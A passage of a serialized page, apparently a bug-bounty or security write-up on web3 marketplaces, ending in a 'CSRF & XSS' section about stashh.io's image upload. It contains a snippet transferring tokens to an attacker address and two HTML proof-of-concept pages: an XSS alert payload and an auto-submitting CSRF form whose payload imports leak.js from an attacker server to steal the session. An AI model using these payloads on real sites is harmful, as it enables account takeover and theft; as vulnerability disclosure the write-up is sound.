.",{"type":23,"tag":139,"props":30007,"children":30008},{"style":245},[30009],{"type":28,"value":30010},"transfer",{"type":23,"tag":139,"props":30012,"children":30013},{"style":259},[30014],{"type":28,"value":262},{"type":23,"tag":139,"props":30016,"children":30017},{"style":294},[30018],{"type":28,"value":30019},"attackerAddress",{"type":23,"tag":139,"props":30021,"children":30022},{"style":259},[30023],{"type":28,"value":1052},{"type":23,"tag":139,"props":30025,"children":30026},{"style":294},[30027],{"type":28,"value":30028},"web3",{"type":23,"tag":139,"props":30030,"children":30031},{"style":259},[30032],{"type":28,"value":73},{"type":23,"tag":139,"props":30034,"children":30035},{"style":294},[30036],{"type":28,"value":30037},"utils",{"type":23,"tag":139,"props":30039,"children":30040},{"style":259},[30041],{"type":28,"value":73},{"type":23,"tag":139,"props":30043,"children":30044},{"style":245},[30045],{"type":28,"value":30046},"toWei",{"type":23,"tag":139,"props":30048,"children":30049},{"style":259},[30050],{"type":28,"value":262},{"type":23,"tag":139,"props":30052,"children":30053},{"style":265},[30054],{"type":28,"value":30055},"'100000000'",{"type":23,"tag":139,"props":30057,"children":30058},{"style":259},[30059],{"type":28,"value":1052},{"type":23,"tag":139,"props":30061,"children":30062},{"style":265},[30063],{"type":28,"value":30064},"'ether'",{"type":23,"tag":139,"props":30066,"children":30067},{"style":259},[30068],{"type":28,"value":17719},{"type":23,"tag":139,"props":30070,"children":30071},{"class":141,"line":21795},[30072,30076,30081],{"type":23,"tag":139,"props":30073,"children":30074},{"style":259},[30075],{"type":28,"value":30005},{"type":23,"tag":139,"props":30077,"children":30078},{"style":245},[30079],{"type":28,"value":30080},"encodeABI",{"type":23,"tag":139,"props":30082,"children":30083},{"style":259},[30084],{"type":28,"value":1471},{"type":23,"tag":139,"props":30086,"children":30087},{"class":141,"line":21803},[30088],{"type":23,"tag":139,"props":30089,"children":30090},{"style":259},[30091],{"type":28,"value":6926},{"type":23,"tag":139,"props":30093,"children":30094},{"class":141,"line":21840},[30095],{"type":23,"tag":139,"props":30096,"children":30097},{"emptyLinePlaceholder":15},[30098],{"type":28,"value":184},{"type":23,"tag":139,"props":30100,"children":30101},{"class":141,"line":21853},[30102,30107,30111,30115,30119,30124,30128,30133],{"type":23,"tag":139,"props":30103,"children":30104},{"style":294},[30105],{"type":28,"value":30106},"      web3",{"type":23,"tag":139,"props":30108,"children":30109},{"style":259},[30110],{"type":28,"value":73},{"type":23,"tag":139,"props":30112,"children":30113},{"style":294},[30114],{"type":28,"value":29886},{"type":23,"tag":139,"props":30116,"children":30117},{"style":259},[30118],{"type":28,"value":73},{"type":23,"tag":139,"props":30120,"children":30121},{"style":245},[30122],{"type":28,"value":30123},"sendTransaction",{"type":23,"tag":139,"props":30125,"children":30126},{"style":259},[30127],{"type":28,"value":262},{"type":23,"tag":139,"props":30129,"children":30130},{"style":294},[30131],{"type":28,"value":30132},"transactionObject",{"type":23,"tag":139,"props":30134,"children":30135},{"style":259},[30136],{"type":28,"value":1820},{"type":23,"tag":139,"props":30138,"children":30139},{"class":141,"line":21866},[30140],{"type":23,"tag":139,"props":30141,"children":30142},{"style":259},[30143],{"type":28,"value":30144},"    });\n",{"type":23,"tag":139,"props":30146,"children":30147},{"class":141,"line":21879},[30148],{"type":23,"tag":139,"props":30149,"children":30150},{"style":259},[30151],{"type":28,"value":3874},{"type":23,"tag":139,"props":30153,"children":30154},{"class":141,"line":21933},[30155],{"type":23,"tag":139,"props":30156,"children":30157},{"style":259},[30158],{"type":28,"value":1897},{"type":23,"tag":139,"props":30160,"children":30161},{"class":141,"line":21942},[30162],{"type":23,"tag":139,"props":30163,"children":30164},{"emptyLinePlaceholder":15},[30165],{"type":28,"value":184},{"type":23,"tag":139,"props":30167,"children":30169},{"class":141,"line":30168},51,[30170,30174,30178,30183],{"type":23,"tag":139,"props":30171,"children":30172},{"style":279},[30173],{"type":28,"value":17490},{"type":23,"tag":139,"props":30175,"children":30176},{"style":259},[30177],{"type":28,"value":262},{"type":23,"tag":139,"props":30179,"children":30180},{"style":265},[30181],{"type":28,"value":30182},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":23,"tag":139,"props":30184,"children":30185},{"style":259},[30186],{"type":28,"value":1820},{"type":23,"tag":139,"props":30188,"children":30190},{"class":141,"line":30189},52,[30191,30196,30200,30204,30208,30213],{"type":23,"tag":139,"props":30192,"children":30193},{"style":245},[30194],{"type":28,"value":30195},"setTimeout",{"type":23,"tag":139,"props":30197,"children":30198},{"style":259},[30199],{"type":28,"value":262},{"type":23,"tag":139,"props":30201,"children":30202},{"style":294},[30203],{"type":28,"value":29380},{"type":23,"tag":139,"props":30205,"children":30206},{"style":259},[30207],{"type":28,"value":1052},{"type":23,"tag":139,"props":30209,"children":30210},{"style":1016},[30211],{"type":28,"value":30212},"1e3",{"type":23,"tag":139,"props":30214,"children":30215},{"style":259},[30216],{"type":28,"value":1820},{"type":23,"tag":24,"props":30218,"children":30219},{},[30220,30225],{"type":23,"tag":56,"props":30221,"children":30222},{},[30223],{"type":28,"value":30224},"CSRF & XSS",{"type":28,"value":30226},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":23,"tag":24,"props":30228,"children":30229},{},[30230,30232,30237],{"type":28,"value":30231},"Our attention was drawn to ",{"type":23,"tag":64,"props":30233,"children":30235},{"href":29167,"rel":30234},[68],[30236],{"type":28,"value":29171},{"type":28,"value":30238},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":23,"tag":24,"props":30240,"children":30241},{},[30242],{"type":23,"tag":429,"props":30243,"children":30245},{"alt":7,"src":30244},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":23,"tag":24,"props":30247,"children":30248},{},[30249],{"type":28,"value":30250},"and here there is the code:",{"type":23,"tag":128,"props":30252,"children":30254},{"className":29250,"code":30253,"language":29252,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[30255],{"type":23,"tag":135,"props":30256,"children":30257},{"__ignoreMap":7},[30258,30275,30292,30326,30412,30469,30668,30709,30725,30741,30748,30763,30770,30782,30841,30848,30911,30940,30978,30985,31023,31036,31043,31058],{"type":23,"tag":139,"props":30259,"children":30260},{"class":141,"line":142},[30261,30266,30271],{"type":23,"tag":139,"props":30262,"children":30264},{"style":30263},"--shiki-default:#808080",[30265],{"type":28,"value":3808},{"type":23,"tag":139,"props":30267,"children":30268},{"style":279},[30269],{"type":28,"value":30270},"html",{"type":23,"tag":139,"props":30272,"children":30273},{"style":30263},[30274],{"type":28,"value":3995},{"type":23,"tag":139,"props":30276,"children":30277},{"class":141,"line":151},[30278,30283,30288],{"type":23,"tag":139,"props":30279,"children":30280},{"style":30263},[30281],{"type":28,"value":30282},"  \u003C",{"type":23,"tag":139,"props":30284,"children":30285},{"style":279},[30286],{"type":28,"value":30287},"body",{"type":23,"tag":139,"props":30289,"children":30290},{"style":30263},[30291],{"type":28,"value":3995},{"type":23,"tag":139,"props":30293,"children":30294},{"class":141,"line":160},[30295,30299,30304,30308,30313,30318,30322],{"type":23,"tag":139,"props":30296,"children":30297},{"style":30263},[30298],{"type":28,"value":30282},{"type":23,"tag":139,"props":30300,"children":30301},{"style":279},[30302],{"type":28,"value":30303},"script",{"type":23,"tag":139,"props":30305,"children":30306},{"style":30263},[30307],{"type":28,"value":8471},{"type":23,"tag":139,"props":30309,"children":30310},{"style":259},[30311],{"type":28,"value":30312},"history.pushState('', '', '/')",{"type":23,"tag":139,"props":30314,"children":30315},{"style":30263},[30316],{"type":28,"value":30317},"\u003C/",{"type":23,"tag":139,"props":30319,"children":30320},{"style":279},[30321],{"type":28,"value":30303},{"type":23,"tag":139,"props":30323,"children":30324},{"style":30263},[30325],{"type":28,"value":3995},{"type":23,"tag":139,"props":30327,"children":30328},{"class":141,"line":169},[30329,30334,30339,30344,30348,30353,30358,30362,30367,30371,30375,30380,30385,30389,30394,30399,30403,30408],{"type":23,"tag":139,"props":30330,"children":30331},{"style":30263},[30332],{"type":28,"value":30333},"    \u003C",{"type":23,"tag":139,"props":30335,"children":30336},{"style":279},[30337],{"type":28,"value":30338},"form",{"type":23,"tag":139,"props":30340,"children":30341},{"style":294},[30342],{"type":28,"value":30343}," id",{"type":23,"tag":139,"props":30345,"children":30346},{"style":982},[30347],{"type":28,"value":1067},{"type":23,"tag":139,"props":30349,"children":30350},{"style":265},[30351],{"type":28,"value":30352},"\"form123\"",{"type":23,"tag":139,"props":30354,"children":30355},{"style":294},[30356],{"type":28,"value":30357}," action",{"type":23,"tag":139,"props":30359,"children":30360},{"style":982},[30361],{"type":28,"value":1067},{"type":23,"tag":139,"props":30363,"children":30364},{"style":265},[30365],{"type":28,"value":30366},"\"https://stashh.io/upload_asset\"",{"type":23,"tag":139,"props":30368,"children":30369},{"style":294},[30370],{"type":28,"value":15122},{"type":23,"tag":139,"props":30372,"children":30373},{"style":982},[30374],{"type":28,"value":1067},{"type":23,"tag":139,"props":30376,"children":30377},{"style":265},[30378],{"type":28,"value":30379},"\"POST\"",{"type":23,"tag":139,"props":30381,"children":30382},{"style":294},[30383],{"type":28,"value":30384}," enctype",{"type":23,"tag":139,"props":30386,"children":30387},{"style":982},[30388],{"type":28,"value":1067},{"type":23,"tag":139,"props":30390,"children":30391},{"style":265},[30392],{"type":28,"value":30393},"\"multipart/form-data\"",{"type":23,"tag":139,"props":30395,"children":30396},{"style":294},[30397],{"type":28,"value":30398}," value",{"type":23,"tag":139,"props":30400,"children":30401},{"style":982},[30402],{"type":28,"value":1067},{"type":23,"tag":139,"props":30404,"children":30405},{"style":265},[30406],{"type":28,"value":30407},"\"asd\"",{"type":23,"tag":139,"props":30409,"children":30410},{"style":30263},[30411],{"type":28,"value":3995},{"type":23,"tag":139,"props":30413,"children":30414},{"class":141,"line":178},[30415,30420,30424,30429,30433,30438,30443,30447,30452,30456,30460,30465],{"type":23,"tag":139,"props":30416,"children":30417},{"style":30263},[30418],{"type":28,"value":30419},"     \u003C",{"type":23,"tag":139,"props":30421,"children":30422},{"style":279},[30423],{"type":28,"value":6371},{"type":23,"tag":139,"props":30425,"children":30426},{"style":294},[30427],{"type":28,"value":30428}," type",{"type":23,"tag":139,"props":30430,"children":30431},{"style":982},[30432],{"type":28,"value":1067},{"type":23,"tag":139,"props":30434,"children":30435},{"style":265},[30436],{"type":28,"value":30437},"\"file\"",{"type":23,"tag":139,"props":30439,"children":30440},{"style":294},[30441],{"type":28,"value":30442}," name",{"type":23,"tag":139,"props":30444,"children":30445},{"style":982},[30446],{"type":28,"value":1067},{"type":23,"tag":139,"props":30448,"children":30449},{"style":265},[30450],{"type":28,"value":30451},"\"data\"",{"type":23,"tag":139,"props":30453,"children":30454},{"style":294},[30455],{"type":28,"value":30343},{"type":23,"tag":139,"props":30457,"children":30458},{"style":982},[30459],{"type":28,"value":1067},{"type":23,"tag":139,"props":30461,"children":30462},{"style":265},[30463],{"type":28,"value":30464},"\"file123\"",{"type":23,"tag":139,"props":30466,"children":30467},{"style":30263},[30468],{"type":28,"value":3995},{"type":23,"tag":139,"props":30470,"children":30471},{"class":141,"line":187},[30472,30477,30481,30485,30489,30494,30498,30502,30507,30511,30515,30519,30524,30529,30534,30539,30544,30548,30553,30558,30563,30567,30572,30577,30581,30586,30591,30596,30601,30606,30611,30616,30620,30625,30630,30635,30640,30645,30649,30654,30659,30663],{"type":23,"tag":139,"props":30473,"children":30474},{"style":30263},[30475],{"type":28,"value":30476},"      \u003C",{"type":23,"tag":139,"props":30478,"children":30479},{"style":279},[30480],{"type":28,"value":6371},{"type":23,"tag":139,"props":30482,"children":30483},{"style":294},[30484],{"type":28,"value":30428},{"type":23,"tag":139,"props":30486,"children":30487},{"style":982},[30488],{"type":28,"value":1067},{"type":23,"tag":139,"props":30490,"children":30491},{"style":265},[30492],{"type":28,"value":30493},"\"hidden\"",{"type":23,"tag":139,"props":30495,"children":30496},{"style":294},[30497],{"type":28,"value":30442},{"type":23,"tag":139,"props":30499,"children":30500},{"style":982},[30501],{"type":28,"value":1067},{"type":23,"tag":139,"props":30503,"children":30504},{"style":265},[30505],{"type":28,"value":30506},"\"config\"",{"type":23,"tag":139,"props":30508,"children":30509},{"style":294},[30510],{"type":28,"value":30398},{"type":23,"tag":139,"props":30512,"children":30513},{"style":982},[30514],{"type":28,"value":1067},{"type":23,"tag":139,"props":30516,"children":30517},{"style":265},[30518],{"type":28,"value":18067},{"type":23,"tag":139,"props":30520,"children":30521},{"style":279},[30522],{"type":28,"value":30523},"{"",{"type":23,"tag":139,"props":30525,"children":30526},{"style":265},[30527],{"type":28,"value":30528},"address",{"type":23,"tag":139,"props":30530,"children":30531},{"style":279},[30532],{"type":28,"value":30533},"":"",{"type":23,"tag":139,"props":30535,"children":30536},{"style":265},[30537],{"type":28,"value":30538},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":23,"tag":139,"props":30540,"children":30541},{"style":279},[30542],{"type":28,"value":30543},"<",{"type":23,"tag":139,"props":30545,"children":30546},{"style":265},[30547],{"type":28,"value":429},{"type":23,"tag":139,"props":30549,"children":30550},{"style":279},[30551],{"type":28,"value":30552},"/",{"type":23,"tag":139,"props":30554,"children":30555},{"style":265},[30556],{"type":28,"value":30557},"src",{"type":23,"tag":139,"props":30559,"children":30560},{"style":279},[30561],{"type":28,"value":30562},"=",{"type":23,"tag":139,"props":30564,"children":30565},{"style":265},[30566],{"type":28,"value":17284},{"type":23,"tag":139,"props":30568,"children":30569},{"style":279},[30570],{"type":28,"value":30571}," ",{"type":23,"tag":139,"props":30573,"children":30574},{"style":265},[30575],{"type":28,"value":30576},"onerror",{"type":23,"tag":139,"props":30578,"children":30579},{"style":279},[30580],{"type":28,"value":30562},{"type":23,"tag":139,"props":30582,"children":30583},{"style":265},[30584],{"type":28,"value":30585},"alert",{"type":23,"tag":139,"props":30587,"children":30588},{"style":279},[30589],{"type":28,"value":30590},"(",{"type":23,"tag":139,"props":30592,"children":30593},{"style":265},[30594],{"type":28,"value":30595},"document",{"type":23,"tag":139,"props":30597,"children":30598},{"style":279},[30599],{"type":28,"value":30600},".",{"type":23,"tag":139,"props":30602,"children":30603},{"style":265},[30604],{"type":28,"value":30605},"domain",{"type":23,"tag":139,"props":30607,"children":30608},{"style":279},[30609],{"type":28,"value":30610},")>","",{"type":23,"tag":139,"props":30612,"children":30613},{"style":265},[30614],{"type":28,"value":30615},"to",{"type":23,"tag":139,"props":30617,"children":30618},{"style":279},[30619],{"type":28,"value":30533},{"type":23,"tag":139,"props":30621,"children":30622},{"style":265},[30623],{"type":28,"value":30624},"profile",{"type":23,"tag":139,"props":30626,"children":30627},{"style":279},[30628],{"type":28,"value":30629},"-",{"type":23,"tag":139,"props":30631,"children":30632},{"style":265},[30633],{"type":28,"value":30634},"assets",{"type":23,"tag":139,"props":30636,"children":30637},{"style":279},[30638],{"type":28,"value":30639},"","",{"type":23,"tag":139,"props":30641,"children":30642},{"style":265},[30643],{"type":28,"value":30644},"type",{"type":23,"tag":139,"props":30646,"children":30647},{"style":279},[30648],{"type":28,"value":30533},{"type":23,"tag":139,"props":30650,"children":30651},{"style":265},[30652],{"type":28,"value":30653},"icon",{"type":23,"tag":139,"props":30655,"children":30656},{"style":279},[30657],{"type":28,"value":30658},""}",{"type":23,"tag":139,"props":30660,"children":30661},{"style":265},[30662],{"type":28,"value":18067},{"type":23,"tag":139,"props":30664,"children":30665},{"style":30263},[30666],{"type":28,"value":30667}," />\n",{"type":23,"tag":139,"props":30669,"children":30670},{"class":141,"line":196},[30671,30675,30679,30683,30687,30692,30696,30700,30705],{"type":23,"tag":139,"props":30672,"children":30673},{"style":30263},[30674],{"type":28,"value":30476},{"type":23,"tag":139,"props":30676,"children":30677},{"style":279},[30678],{"type":28,"value":6371},{"type":23,"tag":139,"props":30680,"children":30681},{"style":294},[30682],{"type":28,"value":30428},{"type":23,"tag":139,"props":30684,"children":30685},{"style":982},[30686],{"type":28,"value":1067},{"type":23,"tag":139,"props":30688,"children":30689},{"style":265},[30690],{"type":28,"value":30691},"\"submit\"",{"type":23,"tag":139,"props":30693,"children":30694},{"style":294},[30695],{"type":28,"value":30398},{"type":23,"tag":139,"props":30697,"children":30698},{"style":982},[30699],{"type":28,"value":1067},{"type":23,"tag":139,"props":30701,"children":30702},{"style":265},[30703],{"type":28,"value":30704},"\"Submit request\"",{"type":23,"tag":139,"props":30706,"children":30707},{"style":30263},[30708],{"type":28,"value":30667},{"type":23,"tag":139,"props":30710,"children":30711},{"class":141,"line":205},[30712,30717,30721],{"type":23,"tag":139,"props":30713,"children":30714},{"style":30263},[30715],{"type":28,"value":30716},"    \u003C/",{"type":23,"tag":139,"props":30718,"children":30719},{"style":279},[30720],{"type":28,"value":30338},{"type":23,"tag":139,"props":30722,"children":30723},{"style":30263},[30724],{"type":28,"value":3995},{"type":23,"tag":139,"props":30726,"children":30727},{"class":141,"line":214},[30728,30733,30737],{"type":23,"tag":139,"props":30729,"children":30730},{"style":30263},[30731],{"type":28,"value":30732},"  \u003C/",{"type":23,"tag":139,"props":30734,"children":30735},{"style":279},[30736],{"type":28,"value":30287},{"type":23,"tag":139,"props":30738,"children":30739},{"style":30263},[30740],{"type":28,"value":3995},{"type":23,"tag":139,"props":30742,"children":30743},{"class":141,"line":1320},[30744],{"type":23,"tag":139,"props":30745,"children":30746},{"emptyLinePlaceholder":15},[30747],{"type":28,"value":184},{"type":23,"tag":139,"props":30749,"children":30750},{"class":141,"line":1329},[30751,30755,30759],{"type":23,"tag":139,"props":30752,"children":30753},{"style":30263},[30754],{"type":28,"value":30282},{"type":23,"tag":139,"props":30756,"children":30757},{"style":279},[30758],{"type":28,"value":30303},{"type":23,"tag":139,"props":30760,"children":30761},{"style":30263},[30762],{"type":28,"value":3995},{"type":23,"tag":139,"props":30764,"children":30765},{"class":141,"line":1580},[30766],{"type":23,"tag":139,"props":30767,"children":30768},{"emptyLinePlaceholder":15},[30769],{"type":28,"value":184},{"type":23,"tag":139,"props":30771,"children":30772},{"class":141,"line":1597},[30773,30778],{"type":23,"tag":139,"props":30774,"children":30775},{"style":259},[30776],{"type":28,"value":30777},"    (async ()=>",{"type":23,"tag":139,"props":30779,"children":30780},{"style":279},[30781],{"type":28,"value":8890},{"type":23,"tag":139,"props":30783,"children":30784},{"class":141,"line":1614},[30785,30790,30795,30800,30805,30809,30813,30818,30822,30827,30832,30837],{"type":23,"tag":139,"props":30786,"children":30787},{"style":294},[30788],{"type":28,"value":30789},"        const",{"type":23,"tag":139,"props":30791,"children":30792},{"style":294},[30793],{"type":28,"value":30794}," blob",{"type":23,"tag":139,"props":30796,"children":30797},{"style":982},[30798],{"type":28,"value":30799}," = ",{"type":23,"tag":139,"props":30801,"children":30802},{"style":319},[30803],{"type":28,"value":30804},"await",{"type":23,"tag":139,"props":30806,"children":30807},{"style":982},[30808],{"type":28,"value":1042},{"type":23,"tag":139,"props":30810,"children":30811},{"style":319},[30812],{"type":28,"value":30804},{"type":23,"tag":139,"props":30814,"children":30815},{"style":245},[30816],{"type":28,"value":30817}," fetch",{"type":23,"tag":139,"props":30819,"children":30820},{"style":982},[30821],{"type":28,"value":262},{"type":23,"tag":139,"props":30823,"children":30824},{"style":265},[30825],{"type":28,"value":30826},"\"/sapo.png\"",{"type":23,"tag":139,"props":30828,"children":30829},{"style":982},[30830],{"type":28,"value":30831},")).",{"type":23,"tag":139,"props":30833,"children":30834},{"style":245},[30835],{"type":28,"value":30836},"blob",{"type":23,"tag":139,"props":30838,"children":30839},{"style":982},[30840],{"type":28,"value":5739},{"type":23,"tag":139,"props":30842,"children":30843},{"class":141,"line":1627},[30844],{"type":23,"tag":139,"props":30845,"children":30846},{"emptyLinePlaceholder":15},[30847],{"type":28,"value":184},{"type":23,"tag":139,"props":30849,"children":30850},{"class":141,"line":1636},[30851,30855,30860,30864,30868,30873,30878,30882,30886,30891,30896,30901,30906],{"type":23,"tag":139,"props":30852,"children":30853},{"style":294},[30854],{"type":28,"value":1037},{"type":23,"tag":139,"props":30856,"children":30857},{"style":294},[30858],{"type":28,"value":30859}," f",{"type":23,"tag":139,"props":30861,"children":30862},{"style":982},[30863],{"type":28,"value":30799},{"type":23,"tag":139,"props":30865,"children":30866},{"style":279},[30867],{"type":28,"value":13134},{"type":23,"tag":139,"props":30869,"children":30870},{"style":245},[30871],{"type":28,"value":30872}," File",{"type":23,"tag":139,"props":30874,"children":30875},{"style":982},[30876],{"type":28,"value":30877},"([",{"type":23,"tag":139,"props":30879,"children":30880},{"style":294},[30881],{"type":28,"value":30836},{"type":23,"tag":139,"props":30883,"children":30884},{"style":982},[30885],{"type":28,"value":21069},{"type":23,"tag":139,"props":30887,"children":30888},{"style":265},[30889],{"type":28,"value":30890},"'sapo.png'",{"type":23,"tag":139,"props":30892,"children":30893},{"style":982},[30894],{"type":28,"value":30895},", {",{"type":23,"tag":139,"props":30897,"children":30898},{"style":294},[30899],{"type":28,"value":30900},"type:",{"type":23,"tag":139,"props":30902,"children":30903},{"style":265},[30904],{"type":28,"value":30905}," 'image/png'",{"type":23,"tag":139,"props":30907,"children":30908},{"style":982},[30909],{"type":28,"value":30910},"})\n",{"type":23,"tag":139,"props":30912,"children":30913},{"class":141,"line":1659},[30914,30918,30923,30927,30931,30936],{"type":23,"tag":139,"props":30915,"children":30916},{"style":294},[30917],{"type":28,"value":30789},{"type":23,"tag":139,"props":30919,"children":30920},{"style":294},[30921],{"type":28,"value":30922}," dataTransfer",{"type":23,"tag":139,"props":30924,"children":30925},{"style":982},[30926],{"type":28,"value":30799},{"type":23,"tag":139,"props":30928,"children":30929},{"style":279},[30930],{"type":28,"value":13134},{"type":23,"tag":139,"props":30932,"children":30933},{"style":245},[30934],{"type":28,"value":30935}," DataTransfer",{"type":23,"tag":139,"props":30937,"children":30938},{"style":982},[30939],{"type":28,"value":1656},{"type":23,"tag":139,"props":30941,"children":30942},{"class":141,"line":1667},[30943,30948,30952,30957,30961,30965,30969,30974],{"type":23,"tag":139,"props":30944,"children":30945},{"style":294},[30946],{"type":28,"value":30947},"        dataTransfer",{"type":23,"tag":139,"props":30949,"children":30950},{"style":982},[30951],{"type":28,"value":73},{"type":23,"tag":139,"props":30953,"children":30954},{"style":294},[30955],{"type":28,"value":30956},"items",{"type":23,"tag":139,"props":30958,"children":30959},{"style":982},[30960],{"type":28,"value":73},{"type":23,"tag":139,"props":30962,"children":30963},{"style":245},[30964],{"type":28,"value":7646},{"type":23,"tag":139,"props":30966,"children":30967},{"style":982},[30968],{"type":28,"value":262},{"type":23,"tag":139,"props":30970,"children":30971},{"style":294},[30972],{"type":28,"value":30973},"f",{"type":23,"tag":139,"props":30975,"children":30976},{"style":982},[30977],{"type":28,"value":1820},{"type":23,"tag":139,"props":30979,"children":30980},{"class":141,"line":1676},[30981],{"type":23,"tag":139,"props":30982,"children":30983},{"emptyLinePlaceholder":15},[30984],{"type":28,"value":184},{"type":23,"tag":139,"props":30986,"children":30987},{"class":141,"line":1745},[30988,30993,30997,31002,31006,31011,31015,31019],{"type":23,"tag":139,"props":30989,"children":30990},{"style":294},[30991],{"type":28,"value":30992},"        file123",{"type":23,"tag":139,"props":30994,"children":30995},{"style":982},[30996],{"type":28,"value":73},{"type":23,"tag":139,"props":30998,"children":30999},{"style":294},[31000],{"type":28,"value":31001},"files",{"type":23,"tag":139,"props":31003,"children":31004},{"style":982},[31005],{"type":28,"value":30799},{"type":23,"tag":139,"props":31007,"children":31008},{"style":294},[31009],{"type":28,"value":31010},"dataTransfer",{"type":23,"tag":139,"props":31012,"children":31013},{"style":982},[31014],{"type":28,"value":73},{"type":23,"tag":139,"props":31016,"children":31017},{"style":294},[31018],{"type":28,"value":31001},{"type":23,"tag":139,"props":31020,"children":31021},{"style":982},[31022],{"type":28,"value":995},{"type":23,"tag":139,"props":31024,"children":31025},{"class":141,"line":1753},[31026,31031],{"type":23,"tag":139,"props":31027,"children":31028},{"style":279},[31029],{"type":28,"value":31030},"    }",{"type":23,"tag":139,"props":31032,"children":31033},{"style":259},[31034],{"type":28,"value":31035},")()\n",{"type":23,"tag":139,"props":31037,"children":31038},{"class":141,"line":1783},[31039],{"type":23,"tag":139,"props":31040,"children":31041},{"emptyLinePlaceholder":15},[31042],{"type":28,"value":184},{"type":23,"tag":139,"props":31044,"children":31045},{"class":141,"line":1791},[31046,31050,31054],{"type":23,"tag":139,"props":31047,"children":31048},{"style":30263},[31049],{"type":28,"value":30732},{"type":23,"tag":139,"props":31051,"children":31052},{"style":279},[31053],{"type":28,"value":30303},{"type":23,"tag":139,"props":31055,"children":31056},{"style":30263},[31057],{"type":28,"value":3995},{"type":23,"tag":139,"props":31059,"children":31060},{"class":141,"line":1823},[31061,31065,31069],{"type":23,"tag":139,"props":31062,"children":31063},{"style":30263},[31064],{"type":28,"value":30317},{"type":23,"tag":139,"props":31066,"children":31067},{"style":279},[31068],{"type":28,"value":30270},{"type":23,"tag":139,"props":31070,"children":31071},{"style":30263},[31072],{"type":28,"value":3995},{"type":23,"tag":24,"props":31074,"children":31075},{},[31076],{"type":28,"value":31077},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":23,"tag":24,"props":31079,"children":31080},{},[31081],{"type":28,"value":31082},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":23,"tag":24,"props":31084,"children":31085},{},[31086],{"type":28,"value":31087},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":23,"tag":24,"props":31089,"children":31090},{},[31091],{"type":28,"value":31092},"From here, we were able to steal the session cookie from local storage.",{"type":23,"tag":128,"props":31094,"children":31096},{"className":29250,"code":31095,"language":29252,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[31097],{"type":23,"tag":135,"props":31098,"children":31099},{"__ignoreMap":7},[31100,31115,31130,31161,31236,31287,31475,31514,31529,31544,31551,31566,31573,31584,31635,31642,31697,31724,31759,31766,31801,31808,31829,31840,31847,31862],{"type":23,"tag":139,"props":31101,"children":31102},{"class":141,"line":142},[31103,31107,31111],{"type":23,"tag":139,"props":31104,"children":31105},{"style":30263},[31106],{"type":28,"value":3808},{"type":23,"tag":139,"props":31108,"children":31109},{"style":279},[31110],{"type":28,"value":30270},{"type":23,"tag":139,"props":31112,"children":31113},{"style":30263},[31114],{"type":28,"value":3995},{"type":23,"tag":139,"props":31116,"children":31117},{"class":141,"line":151},[31118,31122,31126],{"type":23,"tag":139,"props":31119,"children":31120},{"style":30263},[31121],{"type":28,"value":30282},{"type":23,"tag":139,"props":31123,"children":31124},{"style":279},[31125],{"type":28,"value":30287},{"type":23,"tag":139,"props":31127,"children":31128},{"style":30263},[31129],{"type":28,"value":3995},{"type":23,"tag":139,"props":31131,"children":31132},{"class":141,"line":160},[31133,31137,31141,31145,31149,31153,31157],{"type":23,"tag":139,"props":31134,"children":31135},{"style":30263},[31136],{"type":28,"value":30282},{"type":23,"tag":139,"props":31138,"children":31139},{"style":279},[31140],{"type":28,"value":30303},{"type":23,"tag":139,"props":31142,"children":31143},{"style":30263},[31144],{"type":28,"value":8471},{"type":23,"tag":139,"props":31146,"children":31147},{"style":259},[31148],{"type":28,"value":30312},{"type":23,"tag":139,"props":31150,"children":31151},{"style":30263},[31152],{"type":28,"value":30317},{"type":23,"tag":139,"props":31154,"children":31155},{"style":279},[31156],{"type":28,"value":30303},{"type":23,"tag":139,"props":31158,"children":31159},{"style":30263},[31160],{"type":28,"value":3995},{"type":23,"tag":139,"props":31162,"children":31163},{"class":141,"line":169},[31164,31168,31172,31176,31180,31184,31188,31192,31196,31200,31204,31208,31212,31216,31220,31224,31228,31232],{"type":23,"tag":139,"props":31165,"children":31166},{"style":30263},[31167],{"type":28,"value":30333},{"type":23,"tag":139,"props":